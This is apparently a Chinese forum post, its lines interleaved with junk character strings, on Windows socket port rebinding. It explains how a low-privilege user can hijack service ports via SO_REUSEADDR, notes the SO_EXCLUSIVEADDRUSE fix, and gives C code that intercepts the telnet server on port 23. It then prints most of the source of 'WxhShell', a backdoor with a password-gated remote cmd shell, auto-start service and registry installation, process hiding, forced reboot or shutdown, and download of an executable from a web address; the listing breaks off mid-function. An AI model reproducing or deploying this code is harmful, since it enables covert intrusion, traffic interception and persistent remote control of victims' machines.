在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
q}1ZuK`6 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
{|;a?]? D28`?B9( saddr.sin_family = AF_INET;
S}m_XR] V7ph^^sC} saddr.sin_addr.s_addr = htonl(INADDR_ANY);
:Mf" a QH6akH bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
gr=h!'m %x)bZ=An 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
<N<Q9}`V +Y\:Q<eMFg 这意味着什么?意味着可以进行如下的攻击:
I7f ^2 f)I5=Ijy( 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
}Q7y tE hbjAxioA 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
sdu?#O+c1 95DEuReKi 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
ZedFhm nK&]8" 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
~j0rORy] 'J|2c;M\x 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
B.z$0=b 8v:{BHX 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
?RRO 8~=*\
@^ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
gk ]QR. \-<BUG]= #include
c:[k+_Zr #include
V+d_1]
l #include
U"oNJ8&%| #include
|WS)KR ! DWORD WINAPI ClientThread(LPVOID lpParam);
n*4`Tduu^ int main()
"LyD {
cby# WORD wVersionRequested;
i`,FXF) DWORD ret;
;C]Ufk WSADATA wsaData;
h}b:-a BOOL val;
xNz(LZ.c SOCKADDR_IN saddr;
#-hO\
QdC SOCKADDR_IN scaddr;
*kr/,_K int err;
x2"iZzQlD SOCKET s;
LQ0/oYmNc SOCKET sc;
yNu_>!Cp5 int caddsize;
{.Tx70kn HANDLE mt;
^l &lwSRVt DWORD tid;
6(
HF)z wVersionRequested = MAKEWORD( 2, 2 );
[P$Xr6# err = WSAStartup( wVersionRequested, &wsaData );
UA[`{rf if ( err != 0 ) {
DM.lQ0xk printf("error!WSAStartup failed!\n");
r8k (L{W return -1;
$KHm5*;nd }
kmB!NxF>)F saddr.sin_family = AF_INET;
!^J;S%MB:K ^E&PZA\,; //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
~zp8%lEe "TRS(d|3 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
E&[5b4D@< saddr.sin_port = htons(23);
7]{g^g.9- if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
9+.wj/75 {
nhI+xqfn printf("error!socket failed!\n");
P<<$o-a" return -1;
#h5:b`fDF }
A|A~$v("R val = TRUE;
z^Q'GBoBA //SO_REUSEADDR选项就是可以实现端口重绑定的
[K{{P|(q if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
$-4](br| {
gesbt printf("error!setsockopt failed!\n");
:Mx return -1;
_0/unJl` }
Dc9uq5l //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
k.@![w\ea //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Z9{~t //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Hq@+m! !oLn= if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
sJHVnMA {
4WT[( ret=GetLastError();
ZR.k' printf("error!bind failed!\n");
!\4x{Wa] return -1;
"hkcN+= }
=C\Tl-$\f listen(s,2);
\Lx=iKs< while(1)
CK* *RZ {
fv+]iK<{ caddsize = sizeof(scaddr);
>7U/TVd& //接受连接请求
1HJ:
?] sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
.35(MFvq! if(sc!=INVALID_SOCKET)
d\z6Ob"t {
=j7Du[?Vu mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
dab]>% M if(mt==NULL)
-YoL.`s1 {
w,{h9f printf("Thread Creat Failed!\n");
6jE.X break;
&OR(]Wt0 }
;$p !dI\-Q }
IUMv{2C CloseHandle(mt);
Pwh}hG1sa }
D:P(; closesocket(s);
qpQ;,8X-" WSACleanup();
iO L$| Z( return 0;
l{By]S }
?d')#WnC DWORD WINAPI ClientThread(LPVOID lpParam)
+ NlnK6T/ {
F>;Wbk&[| SOCKET ss = (SOCKET)lpParam;
U)}]Z@I- SOCKET sc;
)&Ii!tm3 unsigned char buf[4096];
q'D Ts9Bj SOCKADDR_IN saddr;
7Sdo*z long num;
/$^Tou/v DWORD val;
CS^6$VL7e DWORD ret;
OVK
)]- ~ //如果是隐藏端口应用的话,可以在此处加一些判断
84ij4ZYe //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
tBo\R?YRs saddr.sin_family = AF_INET;
An2>]\L saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Kda'N$|` saddr.sin_port = htons(23);
mc{z if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
!Ko2yn}6l {
3(YvqPp& printf("error!socket failed!\n");
r$jWjb return -1;
O&!R7T }
&raqrY|V val = 100;
3%vXB=>T! if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
T(|'.&a {
I~,.@{4 ret = GetLastError();
RpdUR*K9x return -1;
!'f7;%7s }
q4ROuE|d if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
@ @[xTyA {
Nt>^2Mv
ret = GetLastError();
}#z1>y!# return -1;
9a`LrB }
R hWQ:l] if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
YRZ\nun {
GDu^P+^ printf("error!socket connect failed!\n");
}[0nTd closesocket(sc);
qqDg2,Yb closesocket(ss);
Z\
hcK: return -1;
=v2|QuS$ }
^PG" while(1)
9QQ XB- {
Xv1vq
-cM //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
m*^)# //如果是嗅探内容的话,可以再此处进行内容分析和记录
zt.kNb //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
OqtGKda num = recv(ss,buf,4096,0);
^*.[b if(num>0)
Ai/X*y:[? send(sc,buf,num,0);
(j}7|*. else if(num==0)
2z>-H595az break;
;"dX]": num = recv(sc,buf,4096,0);
}*fBHzNN if(num>0)
'9\cIni0 send(ss,buf,num,0);
v9(5HY else if(num==0)
RZ6y5 break;
x*OdMr\n8? }
Eq-+g1a closesocket(ss);
<':h/d closesocket(sc);
Q2
q~m8( return 0 ;
e5_Hmuk| }
4`O[U#? w>W #cTt 20Zxv! ==========================================================
<AgB"y@ M}]
*j 下边附上一个代码,,WXhSHELL
Ow0>qzTg ~ l}f@@u ==========================================================
!y_FbJ8KC 9xA4;)36 #include "stdafx.h"
Hf4_zd {Y~>&B5 #include <stdio.h>
W3:j Z: #include <string.h>
aoy Be|H~= #include <windows.h>
{4_s:+v0 #include <winsock2.h>
i6Z7O)V #include <winsvc.h>
V?XQjH1X #include <urlmon.h>
St5;X&Q wFMH\a #pragma comment (lib, "Ws2_32.lib")
ERPg TZT #pragma comment (lib, "urlmon.lib")
#]h
X."b2 APu$t$dmm #define MAX_USER 100 // 最大客户端连接数
-YNpHd/;, #define BUF_SOCK 200 // sock buffer
FjCGD4x1N #define KEY_BUFF 255 // 输入 buffer
rLTBBvV \$ 9C1@B@ #define REBOOT 0 // 重启
2 "&GH1 #define SHUTDOWN 1 // 关机
\,S|>CPQ 9'MGv*Ho #define DEF_PORT 5000 // 监听端口
ni;)6,i n)yDep]$G #define REG_LEN 16 // 注册表键长度
M?l v #define SVC_LEN 80 // NT服务名长度
bjVk9XvH6 )kep:-wm // 从dll定义API
("U<@~ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
JrcbJt typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
LR=Ji7 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
E{
/,
b) typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
/LFuf`bXV vyZ&%?{*R // wxhshell配置信息
dN5{W0_ struct WSCFG {
8N&'n int ws_port; // 监听端口
;nSF\X(;{ char ws_passstr[REG_LEN]; // 口令
y[N0P0r l: int ws_autoins; // 安装标记, 1=yes 0=no
)rEl{a char ws_regname[REG_LEN]; // 注册表键名
Y` }X5(A@ char ws_svcname[REG_LEN]; // 服务名
@i#JlZM_ char ws_svcdisp[SVC_LEN]; // 服务显示名
B:h<iU:'D char ws_svcdesc[SVC_LEN]; // 服务描述信息
|_?e.}K char ws_passmsg[SVC_LEN]; // 密码输入提示信息
>XtfT' int ws_downexe; // 下载执行标记, 1=yes 0=no
5 `1 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
gnJ8tuS char ws_filenam[SVC_LEN]; // 下载后保存的文件名
AM+5_'S, kQkc+sGJf };
36.,:!%p }MaY:PMA // default Wxhshell configuration
WW:G(
\` struct WSCFG wscfg={DEF_PORT,
^ ]9K>} "xuhuanlingzhe",
_}R9!R0O 1,
Vn5T Jw "Wxhshell",
7y$\|WG?!r "Wxhshell",
((ebSu2-?$ "WxhShell Service",
A}ZZQ "Wrsky Windows CmdShell Service",
:k\#=u( "Please Input Your Password: ",
ULiRuN0 6 1,
K]|Ud No "
http://www.wrsky.com/wxhshell.exe",
"t^v;?4 "Wxhshell.exe"
&
/8Tth86 };
40?RiwwD qyM/p.mP // 消息定义模块
J>(X0@eWz char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
TuQGF$n@ char *msg_ws_prompt="\n\r? for help\n\r#>";
xM%4/QE+ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
I|rb"bG char *msg_ws_ext="\n\rExit.";
SIp)& char *msg_ws_end="\n\rQuit.";
:)1"yo\ char *msg_ws_boot="\n\rReboot...";
P<g(i 6] char *msg_ws_poff="\n\rShutdown...";
}{R*pmv$bN char *msg_ws_down="\n\rSave to ";
NQ`D"n ]5'$EAsuW char *msg_ws_err="\n\rErr!";
8 m"k3:e^ char *msg_ws_ok="\n\rOK!";
3(c-o0M `,]Bs*~ char ExeFile[MAX_PATH];
CH6 m int nUser = 0;
?xR7Ii3 HANDLE handles[MAX_USER];
^m z9sV int OsIsNt;
M
v6 ^(' l.@1]4. SERVICE_STATUS serviceStatus;
%o8o~B|{.U SERVICE_STATUS_HANDLE hServiceStatusHandle;
6x^$W ]R =TD`P et // 函数声明
Z:9 Q~}x8 int Install(void);
3en9TB int Uninstall(void);
mG
S4W; int DownloadFile(char *sURL, SOCKET wsh);
z>W:+W"o int Boot(int flag);
%>FtA) void HideProc(void);
IV,4BQ$ int GetOsVer(void);
G(t:s5: int Wxhshell(SOCKET wsl);
6qT@M0)i void TalkWithClient(void *cs);
SES.&e|!6 int CmdShell(SOCKET sock);
r *K int StartFromService(void);
!JA;0[;l= int StartWxhshell(LPSTR lpCmdLine);
Cu7{>" 529b. | VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
= Pv_,% VOID WINAPI NTServiceHandler( DWORD fdwControl );
~
*&\5rPb y?OP- 27y // 数据结构和表定义
e(7#>O%1 SERVICE_TABLE_ENTRY DispatchTable[] =
9w-\K] {
*s4|'KS2o {wscfg.ws_svcname, NTServiceMain},
[Vs\r&qL {NULL, NULL}
iaL@- dg };
~YH?wdT Ic(qA{SM // 自我安装
`O6#-<> int Install(void)
F;Q,cg M {
s!(R char svExeFile[MAX_PATH];
w*`:v$ HKEY key;
z_>~=Mm strcpy(svExeFile,ExeFile);
|2do8z tz):$1X_ // 如果是win9x系统,修改注册表设为自启动
$0[T<]{/? if(!OsIsNt) {
7i($/mNl if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
_*~F1% d RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
G!j 9D RegCloseKey(key);
r~,y3L6ic if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
/V,xSK9.& RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
R&cTMd RegCloseKey(key);
vgeqH[: return 0;
*aCL/: }
=d8Rij- }
+0Q }
:^y!z1\2(7 else {
[S'1OR$FQ\ Q:q0C
+T // 如果是NT以上系统,安装为系统服务
kgo#JY-4 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
>SXSrXyYX if (schSCManager!=0)
k>ErDv8 {
b/_Zw^DPC SC_HANDLE schService = CreateService
jq
H)o2"/ (
|:S6Gp[\O schSCManager,
2}&ERW wscfg.ws_svcname,
IRbyW?/Xv wscfg.ws_svcdisp,
QVjHGY*R SERVICE_ALL_ACCESS,
o^epXIrIPi SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Nk9=A4=| SERVICE_AUTO_START,
*5Zow 3 SERVICE_ERROR_NORMAL,
hwGK),?"+ svExeFile,
:[<Y#EX. NULL,
O}"oz3H NULL,
yx8G9SO? NULL,
PMP{|yEx" NULL,
1"y!wsM% NULL
"=a3"/u );
^8&}Nk[ j if (schService!=0)
P8m0]T.&x {
jV2H61d CloseServiceHandle(schService);
Z 7@'I0;A CloseServiceHandle(schSCManager);
nZioFE} strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
wNi%u{T strcat(svExeFile,wscfg.ws_svcname);
B?%u<F if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
lfAy$qP"} RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
$$ND]qM$M RegCloseKey(key);
#ksDU return 0;
$^Xxn.B9 }
~) ;4O8~. }
e]1=&:eX#d CloseServiceHandle(schSCManager);
Owf!dMA;nF }
W|2^yO,dX }
VVQ~;{L Fizrsr 6% return 1;
;"&?Okz }
%<kfW&_>w {jD?obs // 自我卸载
|it*w\+M int Uninstall(void)
>Cr"q* {
q]{gAGe~ HKEY key;
/D"T\KNWr im*sSz 0 ( if(!OsIsNt) {
7=fM}sk if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
"\*)KH`C RegDeleteValue(key,wscfg.ws_regname);
a>GA=r RegCloseKey(key);
3.YH7rN
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
| +;ZC y RegDeleteValue(key,wscfg.ws_regname);
OD'~t,St RegCloseKey(key);
:kHk'.V1( return 0;
lH3.q4D
5 }
-=lm`X<: }
/6rjGc }
XI`_PQco else {
Kvg=7o \];|$FQg SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
?`TJ0("z" if (schSCManager!=0)
&m5^
YN$b {
L@\t]
~ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
W,~*pyLdO if (schService!=0)
++~
G\T9H {
1tXc7NA< if(DeleteService(schService)!=0) {
d*+}_EV)Y3 CloseServiceHandle(schService);
"dCIg{j CloseServiceHandle(schSCManager);
b!g)/%C
return 0;
\zJ^XpC }
:(enaHn#~ CloseServiceHandle(schService);
.U(6])%;@ }
*?Eu{J){7% CloseServiceHandle(schSCManager);
]yKwH 9sl }
wp:$Tq a$ }
X)SUFhP\ pW ~;B*hF return 1;
87[o^) 8 }
%;4#?.W8 ;7Qe m& // 从指定url下载文件
fyUW;dj int DownloadFile(char *sURL, SOCKET wsh)
RPa]VL1W {
M}jl\{ HRESULT hr;
hak#Iz0[C char seps[]= "/";
g{DOQA char *token;
=pe O% char *file;
5M\0t\uEn char myURL[MAX_PATH];
Mxz
X@GBX char myFILE[MAX_PATH];
,~;`@ B#."cg4VR strcpy(myURL,sURL);
C|}yE;*a token=strtok(myURL,seps);
' q9Ejig while(token!=NULL)
]Q^8
9? {
])pX)(a file=token;
R&s/s`pLW token=strtok(NULL,seps);
G%gdI3h1Z
}
;\"Nekd| ~(m6dPm$}m GetCurrentDirectory(MAX_PATH,myFILE);
XXwIp-' strcat(myFILE, "\\");
sUF5Yq:9 strcat(myFILE, file);
gu3)HCZ send(wsh,myFILE,strlen(myFILE),0);
>`30 ib send(wsh,"...",3,0);
NO*~C',cI/ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
_)-2h[ if(hr==S_OK)
&\?{%xj return 0;
UDpI @ else
$_
$%L0)5 return 1;
#euOq j5Yli6r?3- }
^?%ThPo_ <\:*cET3 // 系统电源模块
)P1NX"A int Boot(int flag)
^umHuAAE {
/x-tl)(s= HANDLE hToken;
,[m4+6G5 TOKEN_PRIVILEGES tkp;
avS9 "e Rpcnpo if(OsIsNt) {
2b
{Y1* OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
EI9Yv>7 d{ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
yyR@kOGga tkp.PrivilegeCount = 1;
Zf u" 8fX tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
W6B o\UK AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
!/&~Feb if(flag==REBOOT) {
suj}A if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
jaThS!>v return 0;
t[%=[pJHW }
QL(}k)dB else {
RAyR&p if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
Y!E|X 3 return 0;
1?+)T%" }
d\z':d.Tt }
"2"*3R<Y else {
)fZ5.W8UE] if(flag==REBOOT) {
S4O:?^28 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
D/{ Spw@ return 0;
_ )^n[_E }
\No22Je6d else {
a7NX~9g if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
K3UG6S\B return 0;
_Q;M$.[zyR }
CQY/q@7 }
FH H2 = &aD!nTx return 1;
6ud<B }
EVmE{XlD; `V ++})5v // win9x进程隐藏模块
q14A'XW void HideProc(void)
UE\@7 {
w_J`29uc >BQF< HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
]O&A:Us if ( hKernel != NULL )
1[`l`Truz {
nBiA=+'v pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
M/sqOhg ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
El&pux2 FreeLibrary(hKernel);
A[':O*iB }
:S7yM8b` skP_us~ return;
1J*wW# e }
TAJ 9Y< Y=rW.yK8 // 获取操作系统版本
%J%gXk}] int GetOsVer(void)
3x9C] {
TuCOoz@d OSVERSIONINFO winfo;
gZ!(&u winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
G7/LY TT) GetVersionEx(&winfo);
>qUO_> if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
8"*$e
I5 return 1;
>%3c 1 else
:3n.nKANr return 0;
Q6W)rJ[| }
/tv;W ti#sh{t // 客户端句柄模块
;^8^L'7cr int Wxhshell(SOCKET wsl)
&%r#eB?7 {
zXf+ie o SOCKET wsh;
=nL*/ struct sockaddr_in client;
%Z5k8 DWORD myID;
H62*8y8 ft6^s(t while(nUser<MAX_USER)
A0X0t {
EhUy7b,1_ int nSize=sizeof(client);
RK3/!C`
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
z|?R=;,u` if(wsh==INVALID_SOCKET) return 1;
Po4cbFZ |8`;55G handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
@>:07]Dxo if(handles[nUser]==0)
imhq*f#A[ closesocket(wsh);
l?1!h2z% else
p+7BsW.l nUser++;
R39R$\ }
5)oIPHXw WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
B:r-')!0$# yK7>^p}V return 0;
E 6@;e-]j }
0amz#VIB<u pNJM]-D]m~ // 关闭 socket
l=]vC +mU void CloseIt(SOCKET wsh)
XZ&v3ul {
Yr= mLT|JN closesocket(wsh);
S7q&|nI nUser--;
"qm> z@K ExitThread(0);
bg*{1^ }
(Sv%-8?gs -d3y!|\>a // 客户端请求句柄
td&l T(7 void TalkWithClient(void *cs)
ck~xj0 {
c-=0l)&'D= QMxz@HGa| SOCKET wsh=(SOCKET)cs;
a*[\edcHU char pwd[SVC_LEN];
ed*AU,^@v char cmd[KEY_BUFF];
X[~CLKH( char chr[1];
ZtLn*M int i,j;
?.4l1X6Ba ibc/x v2 while (nUser < MAX_USER) {
Xh/av[Q ,6S8s if(wscfg.ws_passstr) {
Fb'wC if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
M<srJ8|' //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
w1_Ux<RF //ZeroMemory(pwd,KEY_BUFF);
K)@}Ok"#\4 i=0;
T!a[@,)_
while(i<SVC_LEN) {
RGLA}| k9xKaJ%1 // 设置超时
cj<@~[uw fd_set FdRead;
gAY2|/, struct timeval TimeOut;
4"{wga~%/ FD_ZERO(&FdRead);
.Cus t FD_SET(wsh,&FdRead);
\8D~,$,``| TimeOut.tv_sec=8;
X8x>oV;8 TimeOut.tv_usec=0;
7$=@q|$ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
+3>4 ?,^g if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
;LE
@Ezx fdG.=7` if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
k#) .E X pwd
=chr[0]; &zcjU+n
if(chr[0]==0xd || chr[0]==0xa) { Sh6Cw4 R
pwd=0; Vgn1I(Gj 4
break; { bn#:75r
} !?*!"S-Sl
i++; Y%l3SB,5L
} $@kw>2
F8Wq&X#r
// 如果是非法用户,关闭 socket 1[`<JCFClc
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <;e#"(7
} XE*bRTEw
*^Y0}?]qT
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?|GxVOl
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Dg+d=I?
V^+:U>$w
while(1) { r![JPhei
n^02@Aw
ZeroMemory(cmd,KEY_BUFF); s*~o%emw
DZ.trtK
// 自动支持客户端 telnet标准
0QqzS
j=0; u(Sz$eV
while(j<KEY_BUFF) { a?~csP^?}
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ONiI:Z>%
cmd[j]=chr[0]; z44~5J]
if(chr[0]==0xa || chr[0]==0xd) { [B @j@&
cmd[j]=0; ug"<\"
break; H;|:r[d!
} !cwVJe
j++; W?
||9
} S5KYZ
W
_l=
// 下载文件 i%4k5[f.:
if(strstr(cmd,"http://")) { -z$2pXT ^
send(wsh,msg_ws_down,strlen(msg_ws_down),0); HbfB[%
if(DownloadFile(cmd,wsh)) a
BH1J]_
send(wsh,msg_ws_err,strlen(msg_ws_err),0); So.P @CCd
else mS}x2&
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `j}d=zZ
} _i@eOqoC
else { B~zg"
zn1Rou]6
switch(cmd[0]) { ~C7<a48x
_j\=FJz[
// 帮助 bXwoJ2
case '?': { .r5oN +?e
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?}v% JUcs
break; >TnQ4^;v.
} A'QGTT
// 安装 Wx)U<:^e
case 'i': { fR%1FXpK&
if(Install()) %`1CE\f
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
9XqAjez\
else -Dxhq&
}Y
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I''R\Bp
break; A{x
7
} )z235}P
// 卸载 {a8^6dm*E
case 'r': { ]j2v"n
if(Uninstall()) Ij}F<ZgZG
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (e3Gs+;
else TT ZxkK
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *8.@aX3
break; ]_: TrH
} kefv=n*]l
// 显示 wxhshell 所在路径 _pko]F|()
case 'p': { {hRie+
char svExeFile[MAX_PATH]; !M&un*
strcpy(svExeFile,"\n\r"); Wo9psv7.
strcat(svExeFile,ExeFile); Dnm.!L8
send(wsh,svExeFile,strlen(svExeFile),0); :@%-f:iDj
break; L@n6N|[_
} (S)E|;f%C
// 重启 A:bPIXb
case 'b': { .n&
Cq+U;
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); u@_!mjXQ
if(Boot(REBOOT)) O< tnM<"(
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1m<?Q&|m$
else { !H|82:`t+
closesocket(wsh); QK!:q{
ExitThread(0); lAn+gDP
} Q|=
Q]$d
break; ca/o#9:N`:
} yaRcBT?
// 关机 !\#Wk0Ku
case 'd': { %:w% o$
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "4ozlWx
if(Boot(SHUTDOWN)) ?(/j<,m^
send(wsh,msg_ws_err,strlen(msg_ws_err),0); mDF"&.(j
else { $rpTs?j*K$
closesocket(wsh); nz(q)"A
ExitThread(0); me:|!lI7YU
} &xBK\
break; BnaU)E h
} ,>
(bt%b
// 获取shell $TA6S+
case 's': { gJ3OK !/
CmdShell(wsh); jxnQG A
closesocket(wsh); oa &z/`@
ExitThread(0); 9U=fJrj'u
break; 5Hwo)S]r
} VqClM
// 退出
y^!E "
case 'x': { HLSfoQ&)v
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); juCG?}di;
CloseIt(wsh); XnE
%$NJ
break; 9jMC|oE
}
H\=LE
// 离开 ^s2m\Q(
case 'q': { _[TH@fO6:
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 'o/N}E!Pt
closesocket(wsh); X$- boe?
WSACleanup(); %]chL.s
exit(1); T1(j l)
break; &8]#RQy{f
} UEEBWz H
} 7bonOt
Y
} V/3 {^Fcr
~[zFQ)([
// 提示信息 -OrY{^F
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0\cnc^Z
} Jm %ynW
} i!Dh&XT
){+[$@9
return; a
IpPL8a
} s-C!uq
cXk6e.Uz
// shell模块句柄 ha|@ Xp
int CmdShell(SOCKET sock) C{UF~
{ 6.U"_%
STARTUPINFO si; )@Zc?Da
ZeroMemory(&si,sizeof(si)); /`+Hwdk
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k<YtoV
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <AI>8j6#B
PROCESS_INFORMATION ProcessInfo; c Q(}^KO
char cmdline[]="cmd"; -XBKOybHBO
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (VYR!(17
return 0; 9Hf*cQ
} _/,SZ-C#L4
v)@,:u)
// 自身启动模式 <I7(eh6d
int StartFromService(void) {H=oxa
{ ,4H;P/xsb
typedef struct i1qS ns
{ Jo{zy
DWORD ExitStatus; mb0n}I_AC
DWORD PebBaseAddress; T[0V%Br{d+
DWORD AffinityMask; 8pYyG
| \
